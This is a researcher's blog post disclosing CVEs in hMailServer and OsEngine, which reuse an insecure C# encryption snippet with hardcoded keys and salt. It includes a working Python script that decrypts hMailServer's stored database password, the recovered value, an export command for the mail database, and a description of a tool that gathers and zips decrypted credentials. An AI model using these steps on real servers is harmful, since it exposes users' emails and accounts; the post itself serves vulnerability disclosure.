mojibake

Ivan the Terrible died from a stroke while he was playing chess with Bogdan Belsky on 28 March [O.S. 18 March] 1584. Upon Ivan’s death, the Russian throne was left to his middle son, Feodor, a weak-minded figure. Feodor died childless in 1598, which ushered in the Time of Troubles. He was buried at the Cathedral of the Archangel in Moscow.



Prologue

This project was the result of a pointer from a friend of mine, Adele Miller. I’ve been trying passively to get my first blood CVE and since getting laid off I have had time to bear down on it.

I was referred to this blog post, If you copied any of these popular StackOverflow encryption code snippets, then you coded it wrong. It outlines a couple instances of incorrect and insecure implementations of encryption in various languages. The one I zeroed in on was “Example 2: AES-256 in CBC mode in C#” because she said that she knew there were a few implementations of it out there in open source projects.

This seems to be the most recent CVE and accompanying POC regarding this reused function:

And here are the corresponding CWEs



Patterns and the Hunt

Much of application security is about patterns. You have semgrep for when you want to search for patterns in a codebase you have access to.

but say you have a string, such as { 0x49, 0x76, 0x61, 0x6e, 0x20, 0x4d, 0x65, 0x64, 0x76, 0x65, 0x64, 0x65, 0x76 } that you would like to search a wide number of repositories for?

One option is just throwing it into the search bar on GitHub. This is less targeted but will return lots of results. Doing this also showed me a large number of repositories with YARA rules for this string. That’s because this string shows up in a number of malware. Namely Samsam Ransomware and BOSS SPIDER.

The other option, what I did, was to throw the string into SourceGraph Search.

Here we see a number of open source projects that have a respectable amount of traffic.

What I did was go through these and try and find a few that had a good number of stars indicating usage- then from that list i checked WHERE they use this function. In some of these repositories our vulnerable encryption functions already appeared deprecated.

Then I’d check if I could even get the application running in a VM. Some of these (Winsta11 for example) refused to run, and that’s kind of bare minimum for testing. Some of these were libraries that I could not find any evidence of use anywhere.

I settled on these two:

  1. hmailserver
    • hMailServer is an open source email server for Microsoft Windows.
    • existing DoS CVE
    • github.com/hmailserver/hmailserver
  2. 0sEngine
    • This is a full range of programs required to automate trading on the stock exchange.
    • github.com/AlexWan/OsEngine

Let’s dig in!



The Function

Here’s the problem code in question.

using System.IO;
using System.Text;
using System.Security.Cryptography;
 
public static class EncryptionHelper
{
    public static string Encrypt(string clearText)
    {
        string EncryptionKey = "abc123";
        byte[] clearBytes = Encoding.Unicode.GetBytes(clearText);
        using (Aes encryptor = Aes.Create())
        {
            Rfc2898DeriveBytes pdb = new Rfc2898DeriveBytes(EncryptionKey, new byte[] { 0x49, 0x76, 0x61, 0x6e, 0x20, 0x4d, 0x65, 0x64, 0x76, 0x65, 0x64, 0x65, 0x76 });
            encryptor.Key = pdb.GetBytes(32);
            encryptor.IV = pdb.GetBytes(16);
            using (MemoryStream ms = new MemoryStream())
            {
                using (CryptoStream cs = new CryptoStream(ms, encryptor.CreateEncryptor(), CryptoStreamMode.Write))
                {
                    cs.Write(clearBytes, 0, clearBytes.Length);
                    cs.Close();
                }
                clearText = Convert.ToBase64String(ms.ToArray());
            }
        }
        return clearText;
    }
    public static string Decrypt(string cipherText)
    {
        string EncryptionKey = "abc123";
        cipherText = cipherText.Replace(" ", "+");
        byte[] cipherBytes = Convert.FromBase64String(cipherText);
        using (Aes encryptor = Aes.Create())
        {
            Rfc2898DeriveBytes pdb = new Rfc2898DeriveBytes(EncryptionKey, new byte[] { 0x49, 0x76, 0x61, 0x6e, 0x20, 0x4d, 0x65, 0x64, 0x76, 0x65, 0x64, 0x65, 0x76 });
            encryptor.Key = pdb.GetBytes(32);
            encryptor.IV = pdb.GetBytes(16);
            using (MemoryStream ms = new MemoryStream())
            {
                using (CryptoStream cs = new CryptoStream(ms, encryptor.CreateDecryptor(), CryptoStreamMode.Write))
                {
                    cs.Write(cipherBytes, 0, cipherBytes.Length);
                    cs.Close();
                }
                cipherText = Encoding.Unicode.GetString(ms.ToArray());
            }
        }
        return cipherText;
    }
}

To summarize, we take a hardcoded password (* bonk * no) and a hardcoded salt (* bonk * stoppit) and pass those through an RFC2898 PBKDF2 algorithm to derive a pseudorandom encryption key. This is then used as the key and IV of the AES object using the defaults. Both of those being now determinable pseudorandom values, decrypting any data using this function becomes a simple task.



hMailServer

(CVEs reserved: (CVE-2025-52372, CVE-2025-52373, CVE-2025-52374), developer contacted and has elected not to remediate. Project is deprecated.)

There are a couple of issues here.


Ivan Medvedev: CVE-2025-52374

Here we see the password taken in when creating a new server connection in the Admin GUI

    private void btnSave_Click(object sender, EventArgs e)
    {
        server.hostName = textHostname.Text;
        server.userName = textUsername.Text;
        server.savePassword = radioSavePassword.Checked;
 
        if (textPassword.Dirty)
            server.encryptedPassword = Encryption.Encrypt(textPassword.Password);
 
        this.DialogResult = DialogResult.OK;
    }

line 44 in hmailserver/source/Tools/Administrator/Dialogs/formServerInformation.cs

using this function, it’s encrypted.

        private static string NOT_SECRET_KEY = "THIS_KEY_IS_NOT_SECRET";
 
        public static string Encrypt(string plainText)
        {
            // Encryption operates on byte arrays, not on strings.
            byte[] plainTextBytes =
            System.Text.Encoding.Unicode.GetBytes(plainText);
 
            // Derive a key from the password.
            PasswordDeriveBytes passwordDerivedBytes = new PasswordDeriveBytes(NOT_SECRET_KEY,
                new byte[] {0x49, 0x76, 0x61, 0x6e, 0x20, 0x4d, 0x65, 0x64, 0x76, 0x65, 0x64, 0x65, 0x76});
 
            // Use Rijndael symmetric algorithm to do the encryption.
            Rijndael rijndaelAlgorithm = Rijndael.Create();
            rijndaelAlgorithm.Key = passwordDerivedBytes.GetBytes(32);
            rijndaelAlgorithm.IV = passwordDerivedBytes.GetBytes(16);
 
            MemoryStream memoryStream = new MemoryStream();
 
            CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndaelAlgorithm.CreateEncryptor(), CryptoStreamMode.Write);
            cryptoStream.Write(plainTextBytes, 0, plainTextBytes.Length);
            cryptoStream.Close();
 
            byte[] encryptedBytes = memoryStream.ToArray();
 
            return Convert.ToBase64String(encryptedBytes);
 
        }

line 12 in hmailserver/source/Tools/Administrator/Utilities/Encryption.cs

when you save it runs a function to write to a file called hMailAdmin.exe.config

        public static void Save(UserSettings settings)
        {
            string settingsFile = Path.Combine(CreateSettingsFolder(), "hMailAdmin.exe.config");
 
            XmlTextWriter writer = new XmlTextWriter(settingsFile, Encoding.UTF8);
            
            try
            {
                writer.Formatting = Formatting.Indented;
 
                XmlSerializer xmlSerializer = new XmlSerializer(typeof(UserSettings));
                xmlSerializer.Serialize(writer, settings);
            }

line 65 hmailserver/source/Tools/Administrator/Utilities/Settings/UserSettings.cs

which creates a file at %APPDATA%\hMailServer\Administrator\hMailAdmin.exe.config

    <Server>
        <hostName>localhost</hostName>
        <userName>Administrator</userName>
        <encryptedPassword>1WWKZ+ZOBmor+9SYwo/fwg==</encryptedPassword>
        <savePassword>true</savePassword>
    </Server>

With entries like those above. The hardcoded decryption function will decrypt that string in the <encryptedPassword> tag to test1.


Initial AdministratorPassword obfuscated with insecure hash: CVE-2025-52372

The program defaults to md5 hashing for the AdministratorPassword in under [Security] hMailServer.INI at setup.

function GetHashedPassword(Param: String) : String;
begin
Result := GetMD5OfString(g_szAdminPassword);
end;

line 239 of hmailserver/installation/hMailServerInnoExtension.iss

This is passed to the code in our test install to DBSetupQuick.exe as we are not specifying an external existing database.

    // Add the password as well, so that the administrator doesn't have to type it in again
    //  if he have just entered it. If this is an upgrade, he'll have to enter it again though.
    if (Length(g_szAdminPassword) > 0) then
        szParameters := szParameters + ' password:' + g_szAdminPassword;
        
    if ((GetCurrentDatabaseType() <> '') or g_bUseInternal) then
    begin
        if (Exec(ExpandConstant('{app}\Bin\DBSetupQuick.exe'), szParameters, '', SW_SHOWNORMAL, ewWaitUntilTerminated, ResultCode) = False) then
            MsgBox(SysErrorMessage(ResultCode), mbError, MB_OK);
    end
    else
    begin
        if (Exec(ExpandConstant('{app}\Bin\DBSetup.exe'), szParameters, '', SW_SHOWNORMAL, ewWaitUntilTerminated, ResultCode) = False) then
            MsgBox(SysErrorMessage(ResultCode), mbError, MB_OK);
 
    end;

line 646 of hmailserver/installation/hMailServerInnoExtension.iss

The output is then written to the ini file.

Filename: "{app}\Bin\hMailServer.INI"; Section: "Security"; Key: "AdministratorPassword"; String: "{code:GetHashedPassword}"; Flags: createkeyifdoesntexist; Components: server;

line 126 of hmailserver/installation/Shared.iss

Additional updates to this password will be more secure by way of stronger hashing.

IniFileSettings::SetAdministratorPassword(const String &sNewPassword)
//---------------------------------------------------------------------------()
// DESCRIPTION:
// Updates the main hMailServer administration password found in hMailServer.ini
//---------------------------------------------------------------------------()
{
    administrator_password_ = HM::Crypt::Instance()->EnCrypt(sNewPassword, HM::Crypt::ETSHA256);
 
    WriteIniSetting_("Security", "AdministratorPassword", administrator_password_);
}

line 356 hmailserver/source/Server/Common/Application/IniFileSettings.cpp

but the initial time the password is set, it will always be an insecure MD5 hash.


Blowfish implementation uses Hardcoded Password CVE-2025-52373

Hardcoded password is set

#define NOT_SECRET_KYE "THIS_KEY_IS_NOT_SECRET"

line 20 hmailserver/source/Server/Common/Util/BlowFish.cpp

and used

BlowFishEncryptor::BlowFishEncryptor ()
{
    PArray = new DWORD [18] ;
    SBoxes = new DWORD [4][256] ;
 
    String sKey = NOT_SECRET_KYE;
    int iKeyLen = sKey.GetLength();
    BYTE *buf = new BYTE[iKeyLen + 1];
    memset(buf, 0, iKeyLen + 1);
    strncpy_s((char*) buf, iKeyLen+1, Unicode::ToANSI(sKey), iKeyLen);
    
    Initialize(buf, iKeyLen );
    
    delete [] buf;
}

line 29 hmailserver/source/Server/Common/Util/BlowFish.cpp

This is then used to encrypt the database Password under [Database] in hMailServer.INI.

The flow looks something like this.

hMailServerInnoExtension.iss
    DBSetupQuick.exe
        InitializeInternalDatabase()
            CreateInternalDatabase()
                PasswordGenerator::Generate()
                    ini_file_settings_->SetPassword(sPassword);
                        WriteIniSetting_();
                    

When the installer is told to create an internal database it runs the helper program DBSetupQuick.exe which performs a flow demonstrated above.

The value field written looks like this. Password=fb8f1b06f59cf34cf99164835d6ae736

when fed to this script

from Crypto.Cipher import Blowfish
 
def blowfish_decrypt_le(cipher_hex: str, key: bytes = b"THIS_KEY_IS_NOT_SECRET") -> str:
    # Convert hex to bytes
    ct = bytes.fromhex(cipher_hex)
    bs = Blowfish.block_size  # 8 bytes per block
    
    # Initialize ECB cipher
    cipher = Blowfish.new(key, Blowfish.MODE_ECB)
    plaintext_bytes = b''
 
    # Process each 8-byte block
    for i in range(0, len(ct), bs):
        block = ct[i:i+bs]
        # Reverse each 4-byte word to match encryption pre-transform
        le_block = block[:4][::-1] + block[4:][::-1]
        # Decrypt
        dec_le = cipher.decrypt(le_block)
        # Reverse words back to big-endian
        dec_be = dec_le[:4][::-1] + dec_le[4:][::-1]
        plaintext_bytes += dec_be
 
    # Strip trailing zero-byte padding
    plaintext_bytes = plaintext_bytes.rstrip(b'\x00')
    # Decode to UTF-8
    return plaintext_bytes.decode('utf-8', errors='ignore')
 
 
# Example self-test
if __name__ == "__main__":
    test_ct = "fb8f1b06f59cf34cf99164835d6ae736"
    recovered = blowfish_decrypt_le(test_ct)
    print("Recovered plaintext:", recovered)

I retrieve the value 5C7662397665

This then unlocks the database and allows me to export it as an .sql script that will generate a more readable sqlite database using this tool https://github.com/ErikEJ/SqlCeToolbox

> .\ExportSqlCe.exe "Data Source=hMailServer.sdf;Password=5C7662397665;" hMailServer.sql sqlite
Initializing....
Generating the tables....
Generating the data....
Generating the indexes....
Sent script to output file(s) : hMailServer.sql in 633 ms

With this you now have access to emails and account information.


What hMailServer does Right

passwords for users ARE obfuscated using salted SHA256

pAccount->SetPassword(Crypt::Instance()->EnCrypt(pAccount->GetPassword(), (HM::Crypt::EncryptionType) preferredHashAlgorithm)); 

line 187 hmailserver/source/Server/Common/Persistence/PersistentAccount.cpp

The following line says to use the preferred algorithm.

    preferred_hash_algorithm_(3),

line 29 hmailserver/source/Server/Common/Application/IniFileSettings.cpp

This key indicates that the algorithm is preset to 3.

    enum EncryptionType
    {
        ETNone = 0,
        ETBlowFish = 1,
        ETMD5 = 2,
        ETSHA256 = 3
    };

line 16 in hmailserver/source/Server/Common/Util/Crypt.h

This file shows 3 corresponds to etsha256.

    case ETSHA256:
        {
            HashCreator encrypter(HashCreator::SHA256);
            AnsiString result = encrypter.GenerateHash(sInput, "");
            return result;
        }

line 46 of hmailserver/source/Server/Common/Util/Crypt.cpp

The above snippet shows that in this context it generates a hash, and does not specify no salt in the function name like line 43 does String sResult = crypter.GenerateHashNoSalt(sInput, HashCreator::hex);


Proof Of Concept

https://github.com/mojibake-dev/hMailEnum

This C# code was written to demonstrate how the vulnerabilities found in the hMailServer versions 5.6.8 and 5.6.9beta software regarding it password storage can be exploited. It will attempt to enumerate from the registry where the important files are stored, and if not found will default to some hardcoded paths.

The files of interest are,

hMailServer.ini

contains some settings, a poorly obfuscated password to the admin console, and a poorly obfuscated password to the database.

hMailServer.sdf

The database file to be decrypted with the password from hMailServer.ini

hMailAdmin.exe.config

Some configuration regarding additional servers your admin console will connect to, most notably poorly obfuscated passwords.

which will be copied to the working directory.

The tool will then iterate through these files and run the appropriate decryption function using the hardcoded keys in the source code.

Then it will decrypt the database, use the ErikEJ/SqlCeToolbox tool to decrypt and convert it to a more readable .SQLite database.

Then it will zip up the files, both the decrypted ones and the originals for further inspection, to make exfiltration easier.


Disclosure

From Martin Knafve, the developer of hMailServer:

… Users are, since a couple of years, recommended to move to other software or services due to (among other things) the usage of insecure algorithms,… Based on that, I won’t spend time fixing these issues. If you allocate CVEs for them I can have links to those added to the pages above, for added clarity.



OsEngine

(CVE Requested and pending. Developer Contacted. No Response.)

OS engine is a strange one to me. It’s a crypto trading automation platform that seems highly extensible. It’s written by a team in Russia. There seems to be a LOT going on here but with all the documentation in Cyrillic I may come back to this one at a later time.

Here’s our old friend Ivan again:

        public static string Encrypt(string clearText)
        {
            string EncryptionKey = "dfg2335";
            byte[] clearBytes = Encoding.Unicode.GetBytes(clearText);
            using (Aes encryptor = Aes.Create())
            {
                Rfc2898DeriveBytes pdb = new Rfc2898DeriveBytes(EncryptionKey, new byte[] { 0x49, 0x76, 0x61, 0x6e, 0x20, 0x4d, 0x65, 0x64, 0x76, 0x65, 0x64, 0x65, 0x76 });
                encryptor.Key = pdb.GetBytes(32);
                encryptor.IV = pdb.GetBytes(16);
                using (MemoryStream ms = new MemoryStream())
                {
                    using (CryptoStream cs = new CryptoStream(ms, encryptor.CreateEncryptor(), CryptoStreamMode.Write))
                    {
                        cs.Write(clearBytes, 0, clearBytes.Length);
                        cs.Close();
                    }
                    clearText = Convert.ToBase64String(ms.ToArray());
                }
            }
            return clearText;
        }

line 90 of project/OsEngine/OsTrader/Gui/BlockInterface/BlockMaster.cs

The encryption/decryption function is then used by the getters and setters of the password property to write it to a file.

            set
            {
                try
                {
                    using (StreamWriter writer = new StreamWriter(@"Engine\PrimeSettingss.txt", false))
                    {
                        writer.WriteLine(Encrypt(value));
 
                        writer.Close();
                    }
                }
                catch (Exception)
                {
                    // ignore
                }
            }

line 32 of prev file.

And here’s where the password is set.

            if (TextBoxPassword.IsEnabled == true)
            {
                BlockMaster.Password = pass1;
            }
 
            BlockMaster.IsBlocked = true;
            InterfaceIsBlock = true;
            Close();
        }

line 77 in project/OsEngine/OsTrader/Gui/BlockInterface/RobotUiLightBlock.xaml.cs

So in practice here’s what that looks like:

And decrypting with the tool I wrote:


Disclosure

I have reached out to the developer of this project, but have not received a response. Additionally I have not been able to uncover a process for disclosure with them. I will update this section if this changes.



belskysGambit.py

https://github.com/mojibake-dev/belskysGambit

I wrote a little python script that does ONE thing for me. It decrypts (or encrypts) our Ivan encrypted strings.

All implementations of the copied functions use the same salt- that’s a given. They all use the same defaults for AES in .NET regardless of the object used AES or Rijndael.

Where they differ is

  • what algorithm they use for their PBKDF derived decryption key. Some use PasswordDeriveBytes() which uses the PBKDF1, algorithm, while some use Rfc2989DeriveBytes() which uses the PBKDF2 algorithm. Both slightly different implementations.
  • what password is hardcoded in.

As such this script allows for selecting either algorithm, and takes the string for the password to be fed into the algo chosen.

Here’s a disorganized list from my notes of some resources used to determine the functionality ported to python and the defaults.

  • Rfc2898DeriveBytes()
    • GetBytes() method
      • Repeated calls to this method will not generate the same key; instead, appending two calls of the GetBytes method with a cb parameter value of 20 is the equivalent of calling the GetBytes method once with a cb parameter value of 40.

AES Class - Symmetric Encryption - Padding PKCS7 Memory Stream Class CryptoStream Class

PasswordDeriveBytes() PasswordDeriveBytes.cs



So Who Is Ivan???

I was going to publish this project under the name Ivan The Terribly Encrypted- but the friend who gave me the lead that led to this project advised I ask Ivan himself. It hadn’t occurred to me that I could find THE Ivan Medvedev. I had sort of assumed maybe it was a reference to Ivan Medvedev, Russian politician and energy economist or was some one off answer on Stack Over flow anonymous and lost to time. So i set off looking.

In order of discovery:

This led me to a picture of him, finally to his LinkedIn and even more strange is he lives in the same state as me!!

I’ve since reached out to him and asked if he’d be down to get coffee and chat and it seems like there’s a good chance it will happen!